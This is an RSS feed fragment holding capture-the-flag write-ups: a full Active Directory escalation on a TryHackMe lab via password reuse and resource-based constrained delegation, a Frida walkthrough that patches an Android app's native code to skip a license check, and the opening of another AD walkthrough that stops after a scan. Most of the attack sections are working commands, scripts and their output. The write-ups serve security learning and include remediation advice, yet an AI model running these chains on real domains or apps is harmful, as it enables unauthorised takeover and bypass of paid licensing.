            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*T3jqGhNqevvDFJp8Nc-BwQ.png" /></figure><blockquote><strong><em>Target IP used in this run:</em></strong><em> </em><em>10.49.166.17</em></blockquote><blockquote><em>This writeup walks through the path from a low-privileged assumed-breach account to full control of the domain controller. The chain relied on credential reuse, Active Directory ACL abuse, and Resource-Based Constrained Delegation (RBCD).</em></blockquote><ul><li><strong>Room / Box:</strong> Forward</li><li><strong>Platform:</strong> TryHackMe</li><li><strong>Category:</strong> Active Directory / Windows</li><li><strong>Difficulty:</strong> Assumed-breach style AD escalation</li><li><strong>Goal:</strong> Retrieve the Administrator flag</li></ul><p>The room provided a valid low-privileged domain account:</p><p>In assumed-breach scenarios, the first goal is not blind spraying or broad exploitation. It is to validate the account, identify the host role, and map the shortest path to privilege.</p><p>I started with a light service scan against the target.</p><pre>nmap -Pn -sT -sV --version-light -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.49.166.17</pre><p>Representative output:</p><pre>PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec? 135/tcp open msrpc? 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ctf.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open adws? Service Info: Host: DC01; OS: Windows</pre><p>This told me almost everything I needed to know immediately:</p><ul><li>the host was a <strong>Domain Controller</strong></li><li>the domain was <strong>ctf.local</strong></li><li>LDAP, SMB, RDP, and ADWS were exposed</li></ul><p>Next I validated the supplied credential over SMB.</p><pre>nxc smb 10.49.166.17 -d ctf.local -u j.smith -p</pre><p>Output:</p><pre>SMB 10.49.166.17 445 DC01 <br>[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:ctf.local) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.49.166.17 445 DC01 <br>[+] ctf.local\j.smith:JSmith@IT2024</pre><p>Then I checked RDP as well.</p><pre>nxc rdp 10.49.166.17 -d ctf.local -u j.smith -p &#39;JSmith@IT2024&#39;</pre><p>Output:</p><pre>RDP 10.49.166.17 3389 DC01 <br>[*] Windows 10 or Windows Server 2016 Build 17763 (name:DC01) (domain:ctf.local) (nla:False) RDP 10.49.166.17 3389 DC01 <br>[+] ctf.local\j.smith:JSmith@IT2024 (Pwn3d!)</pre><p>At this point we have a confirmed foothold on the domain controller as a normal domain user with interactive logon capability.</p><p>A fast way to reduce noise in an assumed-breach lab is to query LDAP for likely admin-adjacent principals instead of wandering around randomly.</p><p>One of the most interesting users was r.williams.</p><pre>ldapsearch -x -H ldap://10.49.166.17 \ -D -w \ -b &#39;(sAMAccountName=r.williams)&#39; \ sAMAccountName memberOf description displayName</pre><p>Output:</p><pre># r.williams, Users, ctf.local dn: CN=r.williams,CN=Users,DC=ctf,DC=local description: Help Desk Senior memberOf: CN=sysadmin,CN=Users,DC=ctf,DC=local memberOf: CN=Remote Desktop Users,CN=Builtin,DC=ctf,DC=local sAMAccountName: r.williams</pre><p>This was immediately promising for two reasons:</p><ol><li>r.williams looked like a more privileged operational user than j.smith</li><li>the custom sysadmin group suggested a possible delegated admin path</li></ol><p>I also checked domain policy because password validation and machine-account abuse depend on it.</p><pre>ldapsearch -x -H ldap://10.49.166.17 \ -D -w \ -b &#39;(objectClass=domainDNS)&#39; \ lockoutThreshold lockoutDuration lockOutObservationWindow ms-DS-MachineAccountQuota</pre><p>Output:</p><pre># ctf.local dn: DC=ctf,DC=local lockoutDuration: -18000000000 lockOutObservationWindow: -18000000000 lockoutThreshold: 0 ms-DS-MachineAccountQuota: 10</pre><p>That result was critical:</p><ul><li><strong>No account lockout threshold</strong> meant I could perform very limited targeted password validation without risking lockouts.</li><li><strong>MachineAccountQuota = 10</strong> meant a normal authenticated user could add a computer account to the domain.</li></ul><p>That second point would become extremely important later.</p><p>The next part of the box depended on finding a better credential from the j.smith foothold. The relevant credential was recovered from an on-host KeePass database. That produced a help desk password:</p><p>Instead of assuming it was useful only for one user, I tested likely reuse against the more valuable help desk senior account.</p><pre>nxc smb 10.49.166.17 -d ctf.local -u r.williams -p &#39;Helpdesk01!&#39;</pre><p>Output:</p><pre>SMB 10.49.166.17 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:ctf.local) (signing:True) (SMBv1:None) (Null Auth:True) SMB 10.49.166.17 445 DC01 [+] ctf.local\r.williams:Helpdesk01!</pre><p>This was the real pivot point of the room.</p><p>The path was now:</p><ul><li>j.smith → recover help desk credential</li><li>help desk credential reuse → r.williams</li><li>r.williams → abuse delegated AD rights</li></ul><p>At this stage I needed to confirm two pieces of information:</p><ol><li>the target computer identity (DC01$)</li><li>the principal identity of r.williams</li></ol><pre>ldapsearch -x -H ldap://10.49.166.17 \ -D -w \ -b &#39;(|(sAMAccountName=DC01$)(sAMAccountName=r.williams))&#39; \ sAMAccountName objectSid dNSHostName servicePrincipalName</pre><p>Output excerpt:</p><pre># DC01, Domain Controllers, ctf.local dn: CN=DC01,OU=Domain Controllers,DC=ctf,DC=local objectSid:: AQUAAAAAAAUVAAAAKeA2dTgJ371Q0KEA8AMAAA== sAMAccountName: DC01$ dNSHostName: DC01.ctf.local servicePrincipalName: TERMSRV/DC01.ctf.local servicePrincipalName: DNS/DC01.ctf.local servicePrincipalName: HOST/DC01.ctf.local servicePrincipalName: ldap/DC01.ctf.local servicePrincipalName: cifs/DC01.ctf.local # r.williams, Users, ctf.local dn: CN=r.williams,CN=Users,DC=ctf,DC=local objectSid:: AQUAAAAAAAUVAAAAKeA2dTgJ371Q0KEASwYAAA== sAMAccountName: r.williams</pre><p>I decoded the SIDs for clarity:</p><pre>python3 - import base64 from impacket.ldap.ldaptypes import LDAP_SID for b64,name in [(&#39;AQUAAAAAAAUVAAAAKeA2dTgJ371Q0KEA8AMAAA==&#39;,&#39;DC01$&#39;),(&#39;AQUAAAAAAAUVAAAAKeA2dTgJ371Q0KEASwYAAA==&#39;,&#39;r.williams&#39;)]: print(name, LDAP_SID(data=base64.b64decode(b64)).formatCanonical())</pre><p>Output:</p><pre>DC01$ S-1-5-21-1966530601-3185510712-10604624-1008 r.williams S-1-5-21-1966530601-3185510712-10604624-1611</pre><p>From earlier enumeration and BloodHound-style pathing, r.williams had <strong>AddAllowedToAct</strong> over DC01. Combined with MachineAccountQuota = 10, that was the textbook setup for an RBCD attack.</p><p>Because the domain allowed machine-account creation, I created my own computer object.</p><pre>addcomputer.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local \<br>&#39;ctf.local/r.williams:Helpdesk01!&#39; \ <br>-computer-name \ -computer-pass</pre><p>Output:</p><pre>[*] Successfully added machine account HERMESMED$ with password HermesRBCD!2026.</pre><p>This new computer account would be the identity allowed to impersonate users to the domain controller.</p><p>With a controlled machine account in place, I wrote the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on DC01$.</p><pre>rbcd.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local \ <br>&#39;ctf.local/r.williams:Helpdesk01!&#39; \ <br>-delegate-to \<br> -delegate-from \<br> -action write</pre><p>Output:</p><pre>[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty <br>[*] Delegation rights modified successfully! <br>[*] HERMESMED$ can now impersonate users on DC01$ via S4U2Proxy <br>[*] Accounts allowed to act on behalf of other identity: <br>[*] HERMESMED$ (S-1-5-21-1966530601-3185510712-10604624-3109)</pre><p>Then I verified the write:</p><pre>rbcd.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local \<br> &#39;ctf.local/r.williams:Helpdesk01!&#39; \ <br>-delegate-to \ <br>-action read</pre><p>Output:</p><pre>[*] Accounts allowed to act on behalf of other identity: <br>[*] HERMESMED$ (S-1-5-21-1966530601-3185510712-10604624-3109)</pre><p>At this point the ACL abuse was complete: my controlled computer account was trusted to act on behalf of other users to DC01$.</p><p>The next step was to use S4U2Proxy and impersonate Administrator to a service on the domain controller. Since the goal was file access, cifs/DC01.ctf.local was enough.</p><pre>getST.py -dc-ip 10.49.166.17 \ -spn cifs/DC01.ctf.local \ -impersonate Administrator \ &#39;ctf.local/HERMESMED$:HermesRBCD!2026&#39;</pre><p>Output:</p><pre>[-] CCache file is not found. Skipping... <br>[*] Getting TGT for user <br>[*] Impersonating Administrator <br>[*] Requesting S4U2self <br>[*] Requesting S4U2Proxy <br>[*] Saving ticket in Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache</pre><p>That gave me a Kerberos service ticket as Administrator for CIFS on the domain controller.</p><p>Now that I had an Administrator CIFS ticket, I used smbclient.py with Kerberos authentication and no password.</p><pre>cat use C$ cd Users\Administrator\Desktop pwd ls cat flag.txt KRB5CCNAME=&#39;/tmp/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache&#39; \ smbclient.py -k -no-pass -dc-ip 10.49.166.17 -target-ip 10.49.166.17 \ &#39;ctf.local/Administrator@DC01.ctf.local&#39; \ -inputfile /tmp/medium-smbcat.txt</pre><p>Output:</p><pre>[*] Executing commands from /tmp/medium-smbcat.txt # use C$ # cd Users\Administrator\Desktop # pwd /Users/Administrator/Desktop # ls drw-rw-rw- 0 Wed May 20 11:21:12 2026 . drw-rw-rw- 0 Wed May 20 11:21:12 2026 .. -rw-rw-rw- 282 Wed Mar 17 11:13:27 2021 desktop.ini -rw-rw-rw- 37 Sat May 23 12:27:41 2026 flag.txt # cat flag.txt THM{RBCD_S4U2Pr0xy_T1ck3t_Th3ft_2_DA}</pre><p>Flag:</p><pre>THM{RBCD_S4U2Pr0xy_T1ck3t_Th3ft_2_DA}</pre><p>The full compromise chain was:</p><ol><li>Start with valid domain user j.smith</li><li>Validate access to the domain controller over SMB/RDP</li><li>Recover a help desk password from the foothold</li><li>Reuse that password successfully as r.williams</li><li>Confirm MachineAccountQuota = 10</li><li>Abuse r.williams delegated rights over DC01 with RBCD</li><li>Create a controlled machine account</li><li>Set msDS-AllowedToActOnBehalfOfOtherIdentity on DC01$</li><li>Request a CIFS service ticket as Administrator</li><li>Use the ticket to read the Administrator desktop flag</li></ol><p>This is a great example of why delegated AD rights can be as dangerous as direct admin membership. r.williams did not need to be Domain Admin. The ACL path was enough.</p><p>There were three core weaknesses in the environment:</p><p>A help desk password was reused on a higher-value account:</p><p>Password reuse is often the bridge between a minor compromise and a privileged one.</p><p>r.williams had the ability to set <strong>AddAllowedToAct</strong> on DC01, which is effectively the prerequisite for RBCD abuse.</p><p>Because authenticated users could create computer accounts, I could generate a principal under my own control and chain it directly into the delegation abuse.</p><p>If this were a real environment, the immediate fixes would be:</p><ul><li>remove unnecessary <strong>AddAllowedToAct / RBCD-capable ACLs</strong> from high-value computer objects</li><li>review and reduce <strong>delegated rights</strong> on domain controllers</li><li>set <strong>MachineAccountQuota</strong> to 0 unless there is a real business need</li><li>enforce <strong>unique passwords</strong> and stop help desk password reuse</li><li>monitor for:</li><li>unexpected computer account creation</li><li>changes to msDS-AllowedToActOnBehalfOfOtherIdentity</li><li>S4U2Self / S4U2Proxy abuse patterns</li><li>Kerberos service ticket requests for unusual service-account chains</li></ul><p>This room is a strong reminder that Active Directory privilege escalation often comes from <strong>relationships</strong>, not just local admin rights or obvious misconfigurations.</p><p>The initial foothold was low privilege and not especially interesting on its own. The box became solvable only after combining:</p><ul><li>a recovered credential</li><li>password reuse</li><li>delegated directory rights</li><li>Kerberos abuse through RBCD</li></ul><p>That makes the chain realistic and a good lab for understanding how modern AD escalation paths really work.</p><pre>nmap -Pn -sT -sV --version-light -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 10.49.166.17<br>nxc smb 10.49.166.17 -d ctf.local -u j.smith -p <br>nxc rdp 10.49.166.17 -d ctf.local -u j.smith -p <br>ldapsearch -x -H ldap://10.49.166.17 -D -w -b &#39;(sAMAccountName=r.williams)&#39; sAMAccountName memberOf description displayName <br>ldapsearch -x -H ldap://10.49.166.17 -D -w -b &#39;(objectClass=domainDNS)&#39; lockoutThreshold lockoutDuration lockOutObservationWindow ms-DS-MachineAccountQuota <br>nxc smb 10.49.166.17 -d ctf.local -u r.williams -p <br>addcomputer.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local &#39;ctf.local/r.williams:Helpdesk01!&#39; -computer-name -computer-pass <br>rbcd.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local &#39;ctf.local/r.williams:Helpdesk01!&#39; -delegate-to -delegate-from -action write <br>rbcd.py -dc-ip 10.49.166.17 -dc-host DC01.ctf.local &#39;ctf.local/r.williams:Helpdesk01!&#39; -delegate-to -action read getST.py -dc-ip 10.49.166.17 -spn cifs/DC01.ctf.local -impersonate Administrator &#39;ctf.local/HERMESMED$:HermesRBCD!2026&#39; <br>KRB5CCNAME=&#39;/tmp/Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache&#39; smbclient.py -k -no-pass -dc-ip 10.49.166.17 -target-ip 10.49.166.17 &#39;ctf.local/Administrator@DC01.ctf.local&#39; -inputfile /tmp/medium-smbcat.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15e05a0f532d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Hacking Event 2017: Why Should I Pay? Walkthrough]]></title>
            <link>https://musyokaian.medium.com/android-hacking-event-2017-why-should-i-pay-walkthrough-e0d57c985426?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0d57c985426</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[frida]]></category>
            <category><![CDATA[patch-code]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[hooking]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Thu, 19 Jun 2025 13:53:58 GMT</pubDate>
            <atom:updated>2025-06-19T13:53:58.754Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AA4cLTzdbbI6gc-RxH6tlQ.jpeg" /></figure><blockquote>Hello guys and welcome back to another walkthrough. This time we’ll be tackling <strong>Why Should I Pay? </strong>from<strong> Android Hacking Event 2017</strong>. It was an android challenge which i decided to reverse when i got some free time. The challenge involves providing a license to unlock premium content on an android application. The premium content being the <strong>flag. </strong>We’ll be using frida and it’s dynamic instrumentation capabilities to change the normal flow process of the application and get the flag without providing the license. This is an easier way you can demonstrate how modders usually use premium products free in the real world just that the codebase is a bit small hence the reversing process is a bit simplified. The process will involve reversing both JNI(Java native interface) and Java code. We’ll be hooking up code in both and changing the implementation. Without much say let’s jump in.</blockquote><p>The apk can be downloaded using the below link</p><pre>https://team-sik.org/wp-content/uploads/2017/06/WhyShouldIPay.apk_.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hEES07bPgpoS4AV_2pn19g.png" /></figure><p>After downloading the APK. I installed in my rooted android device using the command</p><pre>adb install WhyShouldIPay.apk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*jsh-Cml5Lj1vSCJ9wv_OiQ.png" /></figure><p>After installation i just opened the application to get a feel of what it’s meant to achieve</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*-jkEqJHZgy9c7zTemLsdOw.png" /></figure><p>Looking at the screenshot above we can see that the application requires the user to provide a license, The application is supposed to verify that the license is correct then allow the user to view premium content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*UjqBvVSQIX8PcvxjYa22wQ.png" /></figure><p>Trying to view premium content without performing a license verification, We get an error saying license not activated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*4d6HrdP5zRo7nxKEkMeEeA.png" /></figure><p>The next step involves decompiling the application using jadx. I loaded the apk into jadx</p><p>Launcher class performs the license verification by hitting the URL</p><pre>http://broken.license.server.com/query?license=</pre><p>With the license key as a GET parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bzAXQwXovmTEOYDF7jGJyg.png" /></figure><p>The first problem we have is that the domain used for license verification is nolonger valid. Meaning there’s no way we are going to use the actual domain to do license verification but still there’s a way we can override the domain this happens by proxying the application through burpsuite and edit the host to localhost then stand up a web server to handle to request and provide an appropriate response</p><p>That’s the first way we can bypass the check</p><p>The second way involves manipulating the shared preference</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0tiUmsfTsxYcbKJT5gDwgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*9fD7-yAlcMd5634f9j5Wbw.png" /></figure><p>Based on the images above the application receives a response from the license verification URL and if the response says <strong>LICENSEKEYOK</strong> the application generates an activated key by calling getMac method and XORing the return value with <strong>LICENSEKEYOK </strong>response received. We can do this whole process manually and save the activated key in shared preference file. Hence the next time the application starts up it thinks that the license was already verified. This becomes the second method which The CTF Challenge can be solved.</p><p>Also note some validation are being done on the JNI(Java Native Interface) layer</p><p>We have a shared library called <strong><em>libnative-lib.so</em></strong> that’s being called by the application</p><p>The third method is what I’ll demonstrate in this walkthrough.</p><p>An introduction to what frida is and how it works I’ve done on previous writeup hence am not going to touch in it but For the sake of those not knowing how to install frida Use the below link</p><pre>https://medium.com/@briskinfosec/getting-started-with-frida-de44d932ae7</pre><p>After installation of frida on both the android device and also cloning the frida typescript repository we can being by ensuring the frida typescripts dependencies have been installed</p><p>To clone the repo use the following link</p><pre>https://github.com/oleavr/frida-agent-example</pre><p>To install and update the typing for frida use the following commands</p><pre>git clone https://github.com/oleavr/frida-agent-example<br>npm install<br>npm update --save</pre><p>To automatically compile typescript while making changes to the codebase run the following command</p><pre>npm run watch</pre><p>This will create a file called <em>_agent.js</em> that can be consumed by frida.</p><p>After setting up the environment we can beginning performing the dynamic instrumentation.</p><p>First things first we need to under what methods and classes the android application is calling. Frida offers a really amazing way of doing this by using <strong><em>Java.enumerateLoadedClassesSync()</em></strong> api in frida. Below is a snippet code that can be use to determine which classes have been loaded during runtime</p><pre>Java.perform(() =&gt; {<br>    var loaded_classes = Java.enumerateLoadedClassesSync();<br>    for (var i = 0; i &lt; loaded_classes.length; i++) {<br>        var class_name = loaded_classes[i];<br>        if (class_name.indexOf(&quot;premiumapp&quot;) &gt;= 0) {<br>            log_success(&quot;Found premiumapp class: &quot; + class_name);<br>            var method = Java.use(class_name);<br>            var all_methods = method.class.getMethods();<br>            for (var j = 0; j &lt; all_methods.length; j++) {<br>                var method_name = all_methods[j].getName();<br>                log_info(&quot;Method: &quot; + method_name);<br>            }<br>        }<br>    }<br>});</pre><p>Remember the classes have to be edited to the appropriate ones</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*GT6Hv8QL1tmqd0FHkUg_9g.png" /></figure><p>Base on the above screenshot we can see that we get the classes that were called by the application and also all the associated methods within the application that were called. This is always a good way to start reversing the application whenever the code base is so large and you cannot analyze the entire application immediately. I’ve seen this method works well on kotlin android applications.</p><p>Based on the screenshot above we can see that the application calls two classes namely <strong>MainActivity</strong> and <strong>LauncherActivity</strong></p><p>The main activity executes the native library <strong>libnative-lib.so</strong> and it calls a method called <strong>stringFromJNI</strong> which takes two arguments which are both strings ??? (Later on you’ll notice i cant decrypt from JNI layer)</p><p>To see how the application loads the native library we hook do_dlopen function from linker64 shared library. Below is the code we’ll use</p><pre>var linker64 = Process.findModuleByName(&quot;linker64&quot;)?.enumerateSymbols();<br><br>if (linker64) {<br><br>    for (var i = 0; i &lt; linker64.length; i++) {<br>        var symbol = linker64[i];<br>        if (symbol.name.indexOf(&quot;do_dlopen&quot;) &gt;= 0) {<br>            log_trace(&quot;Found do_dlopen address: &quot; + symbol.address);<br>            do_dlopen_address = symbol.address;<br>        } else if (symbol.name.indexOf(&quot;call_constructor&quot;) &gt;= 0) {<br>            log_trace(&quot;Found call_constructor address:  &quot;  + symbol.address);<br>            call_constructor_address = symbol.address;<br>            <br>        } <br>    }<br><br>}</pre><p>The code is looking for two important functions in the linker64 module:</p><ol><li>do_dlopen — The function responsible for loading dynamic libraries</li><li>call_constructor — The function that calls constructors when libraries are fully loaded</li></ol><pre>var linker64 = Process.findModuleByName(&quot;linker64&quot;)?.enumerateSymbols();</pre><p>Finds the linker64 module (Android’s 64-bit dynamic linker)<br>Gets all symbols (functions, variables) from this module<br>Uses optional chaining (?.) to handle cases where the module might not be found</p><pre>if (linker64) {<br>    for (var i = 0; i &lt; linker64.length; i++) {<br>        var symbol = linker64[i];<br>        if (symbol.name.indexOf(&quot;do_dlopen&quot;) &gt;= 0) {<br>            log_trace(&quot;Found do_dlopen address: &quot; + symbol.address);<br>            do_dlopen_address = symbol.address;<br>        } else if (symbol.name.indexOf(&quot;call_constructor&quot;) &gt;= 0) {<br>            log_trace(&quot;Found call_constructor address:  &quot;  + symbol.address);<br>            call_constructor_address = symbol.address;<br>        } <br>    }<br>}</pre><p>Loops through all symbols in the linker<br>For each symbol, checks if its name contains “do_dlopen” or “call_constructor”<br>When found, stores the memory address and logs it and<br>Uses indexOf() for partial matching (in case there are variations like __do_dlopen)</p><p>After getting the memory address of do_dlopen and call_constructor we then Hook the two methods and see which shared libraries are loaded by the application doing initial startup and later. The code below can be used to hook the two function</p><pre>function initial_loaded_libraries(){<br>    if (do_dlopen_address){<br>        Interceptor.attach(do_dlopen_address, {<br>            onEnter: function(args){<br>                var library_name = args[0].readCString();<br>                log_trace(&quot;do_dlopen called with library name: &quot; + library_name);<br>            },<br>            onLeave: function(retval){<br>                //do nothing<br>            }<br>        })<br>    }<br>}</pre><p>The code check if address was found: if (do_dlopen_address) → Only proceed if we successfully found the do_dlopen function address earlier<br>Interceptor.attach(do_dlopen_address, {…}) → Sets up a hook at the do_dlopen function address onEnter callback: args[0].readCString() — Reads the library name from the first argument (a C string pointer)</p><p>log_trace() — Logs which library is being loaded<br>Below is a screenshot showing the libraries that were loaded during runtime</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*rSMujgvULLnp9hZSCP_cnw.png" /></figure><p>We see that the library gets called immediately the application starts next i tried finding which functions get called once the libraruy is called we’ll use the javacode</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iug6uKYRuYKlaPAphgWlgQ.png" /></figure><p>The following lines of code shows how the library gets loaded and the function that gets called</p><p>To see how the function looks like from the assembly level i used ida to decompile to shared library. To get the native library i decompiled the android application using apktool and the command</p><pre>java -jar apktool_2.11.1.jar d WhyShouldIPay.apk</pre><p>We get the native library</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*Lr6gM1SF7vztG-ipBDZWmg.png" /></figure><p>Based on the architecture your phone or emulator is using you’ll determine which library you need to reverse. Decompiling the native library with ida we get the following code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ObBHqKUoFQIy28q3aPCfg.png" /></figure><p>Based on the screenshot above we can see that we get the flag. But what if the flag was encrypted ??. For our specific use case we’ll assume that the flag was encrypted.</p><p>How can we determine what code got executed at run time ??</p><p>This is where stalker another frida api comes in handy. During runtime stalker shows you from an assembly level which code got executed</p><pre>function stalker(BaseAddress: any, Offset: any, Size: any){<br>    log_info(&quot;Stalker called with args: &quot; + BaseAddress + &quot; &quot; + Offset + &quot; &quot; + Size);<br>    var address = BaseAddress.add(Offset);<br>    log_info(&quot;Stalker address: &quot; + address);<br>    if (address) {<br>        log_info(&quot;Stalker attaching to address: &quot; + address);<br>        Interceptor.attach(address, {<br>            onEnter: function(args) {<br>                log_trace(&quot;[+] Java_de_fraunhofer_sit_premiumapp_MainActivity_stringFromJNI called with args &quot; + args[1].readCString() + &quot; &quot; + args[2].readCString());<br>                //log_info(&quot;Stalker called with args: &quot; + args[0]);<br>                Stalker.follow(Process.getCurrentThreadId(), {<br>                    transform: function(iterator: any){<br>                        var instruction = iterator.next();<br>                        do {<br>                            var limit = instruction.address.sub(BaseAddress).toString().length<br>                            if (limit &lt;= 6) {<br>                                log_trace(&quot;Stalker found instruction: &quot; + instruction.address.sub(BaseAddress) + &quot; &quot; + instruction.toString());<br><br>                            } else {<br>                                //log_trace(&quot;Stalker found instruction: &quot; + instruction.address.sub(BaseAddress) + &quot; &quot; + instruction.toString());<br>                            }<br>                            iterator.keep();<br>                        } while((instruction = iterator.next()) !== null);<br>                    }<br>                })<br>            },<br>            onLeave: function(retval) {<br>                Stalker.unfollow(this.threadId);<br>            }<br>        });<br>    }<br>}</pre><p>So what does this function actually do?</p><p>First, it calculates the memory address of a target function by adding an offset to a given base address. This is common when you’re targeting functions inside a shared library like libnative-lib.so.</p><p>Once the address is resolved, Frida’s Interceptor.attach hooks into that function. When the function is called, it logs some of its arguments — in this case, strings passed to a JNI method. This is helpful for understanding what input the native code is receiving.</p><p>The real magic happens when Stalker.follow() is called. This tells Frida to trace every single instruction executed by the current thread. The transform() callback gives you access to an iterator that walks through each instruction. The script filters out instructions that are likely outside the function&#39;s main body (based on the address length) and logs the rest.</p><p>Finally, when the function finishes execution, Stalker.unfollow() stops tracing to avoid performance overhead or noise.</p><p>This kind of tracing is invaluable when:</p><ul><li>You’re dealing with obfuscated native code</li><li>You need to bypass anti-debugging or anti-tampering logic</li><li>You want to reconstruct control flow or understand native algorithms in depth</li></ul><p>Frida’s Stalker lets you do all this <strong>without modifying the app&#39;s binaries</strong>, and with fine-grained control over what you trace.</p><p>Afer trying to view the premium content we see the assembly code that was executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*iuj5Dxy03143EULPR4g9_w.png" /></figure><p>Looking the the assembly code we see that it performs a conditional branch at address <strong>0x8D4</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*e-u6dFTZTEbmRSacOgUiKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gA6sSNAMxVhjYwgejjyglA.png" /></figure><p>We can patch address <strong>0x8D4 </strong>to tell the application to jump to <strong>0x8E4 </strong>which executes the code to retrieve the flag</p><p>The patchcode function looks like below</p><pre><br>function PatchCode(BaseAddress: any, patchAddress: any, number: any){<br>    if (number == 1){<br>        var Address_to_patch = BaseAddress.add(patchAddress);<br>        Memory.patchCode(Address_to_patch, Process.pointerSize, code =&gt; {<br>            const cw = new Arm64Writer(code, { pc: Address_to_patch });<br>            cw.putBranchAddress(BaseAddress.add(0x8E4));<br>            //cw.putRet();<br>            cw.flush();<br>          });<br>    }<br>    <br>}</pre><p>The PatchCode function above uses Frida’s Memory.patchCode() API to do exactly that. It calculates the address to patch by adding an offset to a base address, then uses an Arm64Writer to inject a single branch instruction that jumps to a hardcoded location (BaseAddress + 0x8E4). This effectively replaces the original instruction at the patch address with a B (branch) to another piece of code. It’s a clean way to short-circuit logic — for example, skipping a license check or jumping directly to a success handler. Memory.patchCode() handles permissions safely, temporarily making the code region writable so you can inject instructions even in protected memory like .text sections. This approach is especially powerful in anti-debug or anti-hook scenarios where traditional hooking might get detected or blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*n4Zb8MLwKow20iJEcdXdMw.png" /></figure><p>Executing with the patchcode function we get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*eJOnjEUt4n2H319TopdojA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*DNl_qwb3Iwikyii9NhsDAg.png" /></figure><p>I’ve already pushed the codebase to GitHub this will allow you to modify however you see fit. Below is the link to access the repo</p><p><a href="https://github.com/musyoka101/android-frida-agent">GitHub - musyoka101/android-frida-agent</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0d57c985426" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous codeby Walkthrough]]></title>
            <link>https://musyokaian.medium.com/anonymous-codeby-walkthrough-49d52a3dfd83?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/49d52a3dfd83</guid>
            <category><![CDATA[codeby]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[netexec]]></category>
            <category><![CDATA[sebackupprivilege]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Sun, 02 Feb 2025 08:10:39 GMT</pubDate>
            <atom:updated>2025-02-02T08:10:39.794Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*uPX_1U4ePlNSNvwirF4Xyg.png" /></figure><blockquote>Hello guys and a happy new yew. Welcome back to another walkthough and this time we are going to be looking at a box called anonymous from <a href="https://codeby.games/en/">codeby </a>. An easy machine in my opinion. We’ll start of by running an nmap scan and discover that it has a lot of ports open but most importantly it’s an Active directory domain contoller. All the standard enumeration reveals that most likely the entry point is not through a misconfigured module in active directory. Running a gobuster on the web application reveals a directory called database which contains a .sql database which has a credentials for an active directory user called <strong>veronika.koltsova</strong>. The password has been hashed using md5 and cracking it is a piece of cake which gives the plain text credentials. Authenticating to the box though winrm gives us a .pfx certificate file that’s encrypted. Cracking the encryption using john the ripper gives us another password and trying the password on the list of user yields a successful result. The user has SeBackupPrivilege enabled hence we can just backup the SAM and system hive for the domain controller transfer to out machine and extract the NTLM hashes. Get the <strong>administrator</strong> hash and finally pwn the box. Let’s jump in.</blockquote><p>I begun by running an nmap scan on the box using the command</p><pre>nmap --privileged -sC -sV -oA nmap/ad 192.168.2.20</pre><p>The results are as follows</p><pre># Nmap 7.95 scan initiated Sat Feb  1 15:35:03 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oA nmap/ad 